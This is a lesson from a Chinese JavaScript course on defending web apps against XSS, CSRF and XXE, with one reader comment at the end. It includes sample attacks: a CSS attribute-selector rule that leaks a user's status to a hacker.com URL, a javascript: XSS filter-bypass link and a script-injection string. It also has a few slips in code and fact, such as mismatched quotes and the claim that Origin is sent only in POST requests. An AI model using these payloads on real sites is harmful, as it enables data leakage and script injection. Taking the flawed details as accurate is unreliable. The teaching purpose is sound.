31｜安全：JS代码和程序都需要注意哪些安全问题？

Nov 29, 2022
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31｜安全：JS代码和程序都需要注意哪些安全问题？

2022-11-29 石川来自北京
《JavaScript进阶实战课》
课程介绍
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讲述：石川

时长11:29大小10.49M
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你好，我是石川。
对于大多 Web 应用来说，我们的程序所提供的功能是对外公开的，这给我们带来了流量的同时，也给我们的系统带来了风险。而且越是关注度高的应用，就越有可能遭到攻击，所以安全是任何应用都要重视的一个话题。
那么今天，我们来看一下在 JavaScript 中需要做的安全考虑。这里就包含了跨站脚本攻击（XSS）、跨站请求伪造（CSRF）和 XXE 漏洞。下面，我们来一一看一下这些问题，总结下相关的安全解决方法。
跨站脚本攻击跨站脚本攻击是一种非常常见的攻击。顾名思义，它指的就是通过来自跨网站的脚本发起的攻击。为了降低出现 XSS 漏洞的可能性，有一条重要的开发原则是我们应该禁止任何用户创建的未经过处理的数据传递到 DOM 中。而当用户创建的数据必须传递到 DOM 中时，应该尽量以字符串的形式传递。
类字符串检查我们可以通过多种方式在客户端和服务器上对数据进行检查。其中一种方法是利用 JavaScript 中的内置函数 JSON.parse()，它可以将文本转换为 JSON 对象，因此将数字和字符串与转换后的内容做对比。如果一致，就可以通过检查，但函数等复杂的数据类型的对比是会失败的，因为它们不符合与 JSON 兼容的格式。
var isStringLike = function(val) {
  try {
     return JSON.stringify(JSON.parse(val)) === val;
  } catch (e) {
    console.log('not string-like');
  }
};
字符串净化另外需要注意的是，字符串 / 类字符串虽然不是 DOM 本身，但仍然可以被解释或转换为 DOM。为了避免这种情况，我们必须确保 DOM 会将其直译为字符串或类字符串，而不作转换。
因此在使用 DOM API 时，需要注意的是，任何将文本转换为 DOM 或脚本的行为都是潜在的 XSS 攻击。我们应该尽量避免使用 innerHTML、DOMParser、Blob 和 SVG 这些接口。以 innerHTML 为例，我们最好使用 innerText 而不是 innerHTML 来注入 DOM，因为 innerText 会做净化处理，将任何看起来像 HTML 标签的内容表示为字符串。
var userInput = '<strong>hello, world!</strong>';
var div = document.querySelector('#userComment');
div.innerText = userInput; // 这里的标签被解释成字符串
HTML 实体编码另外一种防御措施是，对用户提供的数据中存在的所有 HTML 标记执行 HTML 实体转义。实体编码允许某些特定的字符在浏览器中显示，但不能将其解释为 JavaScript 来执行。比如标签 <> 对应的编码就是 & + lt; 和 & + gt;。
CSS 净化CSS 的净化包括了净化任何 HTTP 相关的 CSS 属性，或者只允许用户更改指定的 CSS 字段，再或者干脆禁止用户上传 CSS 等。因为相关的属性，比如 background:url，可能会导致黑客远程改变页面的展示。
#bankMember[status="vip"] {
  background:url("https://www.hacker.com/incomes?status=vip");
}
内容安全策略内容安全策略（CSP）是一个安全配置工具。CSP 可以允许我们以白名单的方式列出允许动态加载脚本的网站。实现 CSP 的方式很简单。在后端的话，可以通过加 Content-Security-Policy 的标头来实现；如果是在前端的话，则可以通过元标签实现。
Content-Security-Policy: script-src "self" https://api.example.com.
<meta http-equiv="Content-Security-Policy" content="script-src https://www.example.com;">
另外，默认的情况下，CSP 可以禁止任何形式的内联脚本的执行。在使用 CSP 的时候，要注意不要使用 eval()，或者类似 eval() 的字符串。eval() 的参数是一个字符串，但如果字符串表示的是一个函数表达式，eval() 会对表达式进行求值。如果参数表示一个或多个 JavaScript 语句，那么 eval() 也会执行这些语句。
eval("17+9") // 26
var countdownTimer = function(mins, msg) {
  setTimeout(`console.log(${msg});`, mins * 60 * 1000);
};
尽量避免的 API有些 DOM API 是要尽量避免使用的。下面我们再看看 DOMParser API，它可以将 parseFromString 方法中的字符串内容加载到 DOM 节点中。对于从服务器端加载结构化的 DOM，这种方式可能很方便，但是却有安全的隐患。而通过 document.createElement() 和 document.appendChild() 可以降低风险，虽然使用这两种方法增加了人工成本，但是可控性会更高。因为在这种情况下，DOM 的结构和标签名称的控制权会在开发者自己手中，而负载只负责内容。
var parser = new DOMParser();
var html = parser.parseFromString('<script>alert("hi");</script>`);
Blob 和 SVG 的 API 也是需要注意的接口，因为它们存储任意数据，并且能够执行代码，所以很容易成为污点汇聚点（sinks）。Blob 可以以多种格式存储数据，而 base64 的 blob 可以存储任意数据。可缩放矢量图形（SVG）非常适合在多种设备上显示一致的图像，但由于它依赖于允许脚本执行的 XML 规范，SVG 可以启动任何类型的 JavaScript 加载，因此使用的风险要大于其他类型的可视化图像。
另外，即使是将不带标签的字符串注入 DOM 时，要确保脚本不会趁虚而入也很难。比如下面的例子就可以绕开标签或单双引号的检查，通过冒号和字符串方法执行弹窗脚本，显示"XSS"。
<a href="javascript:alert(String.fromCharCode(88,83,83))">click me</a>
跨站请求伪造以上就是针对跨站脚本攻击的一些防御方案，接下来我们看看跨站请求伪造（CSRF），这也是另外一个需要注意的安全风险。
请求来源检查因为 CSRF 的请求是来自应用以外的，所以我们可以通过检查请求源来减少相关风险。在 HTTP 中，有两个标头可以帮助我们检查请求的源头，它们分别是 Referer 和 Origin。这两个标头不能通过 JavaScript 在浏览器中修改，所以它们的使用可以大大降低 CSRF 攻击。Origin 标头只在 HTTP POST 请求中发送，它表明的就是请求的来源，和 Referer 不同，这个标头也在 HTTPS 请求中存在。
Origin: https://www.example.com:80
Referer 标头也是表示请求来源。除非设置成 rel=noreferer，否则它的显示如下：
Referer: https://www.example.com:80
如果可以的话，你应该两个都检查。如果两个都没有，那基本可以假设这个请求不是标准的请求并且应该被拒绝。这两个标头是安全的第一道防线，但在有一种情况下，它可能会破防。如果攻击者被加入来源白名单了，特别是当你的网站允许用户生成内容，这时可能就需要额外的安全策略来防止类似的攻击了。
使用 CSRF 令牌使用 CSRF 令牌也是防止跨站请求伪造的方法之一。它的实现也很简单，服务器端发送一个令牌给到客户端。
这个令牌是通过很低概率出现哈希冲突的加密算法生成的，也就是说生成两个一样的令牌的概率非常低。这个令牌可以随时重新生成，但通常是在每次会话中生成一次，每一次请求会把这个令牌通过表单或 Ajax 回传。当请求到达服务器端的时候，这个令牌会被验证，验证的内容会包含是否过期、真实性、是否被篡改等等。因为这个令牌对于每个会话和用户来讲都是唯一的，所以在使用令牌的情况下，CSRF 的攻击可能性会大大降低。
下面我们再来看看无状态的令牌。在过去，特别是 REST API 兴起之前，很多服务器会保留一个用户已连接的记录，所以服务器可以为客户管理令牌。但是在现代网络应用中，无状态往往是 API 设计的一个先决条件。通过加密，CSRF 令牌可以轻易地被加到无状态的 API 中。像身份认证令牌一样，CSRF 令牌包含一个用户的唯一识别，一个时间戳，一个密钥只在服务器端的随机密码。这样的一个无状态令牌，不仅更实用，而且也会减少服务器资源的使用，降低会话管理所带来的成本。
无状态的 GET 请求因为通常最容易发布的 CSRF 攻击是通过 HTTP GET 请求，所以正确地设计 API 的结构可以降低这样的风险。HTTP GET 请求不应该存储或修改任何的服务器端状态，这样做会使未来的 HTTP GET 请求或修改引起 CSRF 攻击。
// GET
var user = function(request, response) {
 getUserById(request.query.id).then((user) => {
   if (request.query.updates) { user.update(request.updates); }
   return response.json(user);
 });
};
参考代码示例，第一个 API 把两个事务合并成了一个请求 + 一个可选的更新，第二个 API 把获取和更新分成了 GET 和 POST 两个请求。第一个 API 很有可能被 CSRF 攻击者利用；而第二个 API，虽然也可能被攻击，但至少可以屏蔽掉链接、图片或其它 HTTP GET 风格的攻击。
// GET
var getUser = function(request, response) {
 getUserById(request.query.id).then((user) => {
   return response.json(user);
 });
};
// POST
var updateUser = function(request, response) {
  getUserById(request.query.id).then((user) => {
   user.update(request.updates).then((updated) => {
     if (!updated) { return response.sendStatus(400); }
     return response.sendStatus(200);
   });
 });
};
泛系统的 CSRF 防御根据木桶原则，一个系统往往是最弱的环节影响了这个系统的安全性。所以我们需要注意的是，如何搭建一个泛系统的 CSRF 防御。大多的现代服务器都允许创建一个在执行任何逻辑前，在所有访问中都可以路由到的中间件。
这样的一个中间件检查我们前面说的 Origin/Referer 是否正确，CSRF 令牌是否有效。如果没有通过这一系列的检查，这个请求就应该中断。只有通过检查的请求，才可以继续后续的执行。因为这个中间件依赖一个客户端对每一个请求传一个 CSRF 令牌到服务器端，作为优化，这个检查也可以复制到前端。比如可以用包含令牌的代理模式来代替 XHR 默认的行为，或者也可以写一个包装器把 XHR 和令牌包装在一个工具里来做到复用。
XXE 漏洞XXE 是 XML 外部实体注入（XML External Entity）的意思。防止这个攻击的方法相对简单，我们可以通过在 XML 解析器中禁止外部实体的方式来防御这种攻击。
setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
对基于 Java 语言的 XML 解析器，OWASP 把 XXE 标记为尤为危险；而对于其它语言来说，XML 外部实体默认可能就是禁止的。但为了安全起见，无论使用什么语言，最好还是根据语言提供的 API 文档找到相关的默认选项，来看是否需要做相关安全处理。
而且如果有可能的话，使用 JSON 来替代 XML 也是很好的选择。JSON 相对比 XML 更轻盈、更灵活，能使负载更加快速和简便。
总结今天，我们看到了一些 Web 中常见的漏洞和攻击。网络和信息安全不仅是影响业务，更是对用户数字资产和隐私的一种保护，所以在安全方面，真的是投入再多的精力都不过分。这节课我们只是站在 Web 应用的角度分析了一些常见的漏洞，实际上安全是一个更大的值得系统化思考的问题。
思考题今天，我们提到了 XML 和 SVG 都是基于 XML Schema 的，XML 我们大多可以通过 JSON 来代替，那么你知道 SVG 可以通过什么来代替吗？
欢迎在留言区分享你的答案、交流学习心得或者提出问题，如果觉得有收获，也欢迎你把今天的内容分享给更多的朋友。我们下节课再见！
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郭慧娟
2022-12-04 来自海南
"因为在这种情况下，DOM 的结构和标签名称的控制权会在开发者自己手中，而负载只负责内容。" 这句话有问题吧
作者回复: 在这种情况下，DOM的结构和标签就是由开发者掌握的，加载的部分只是内容
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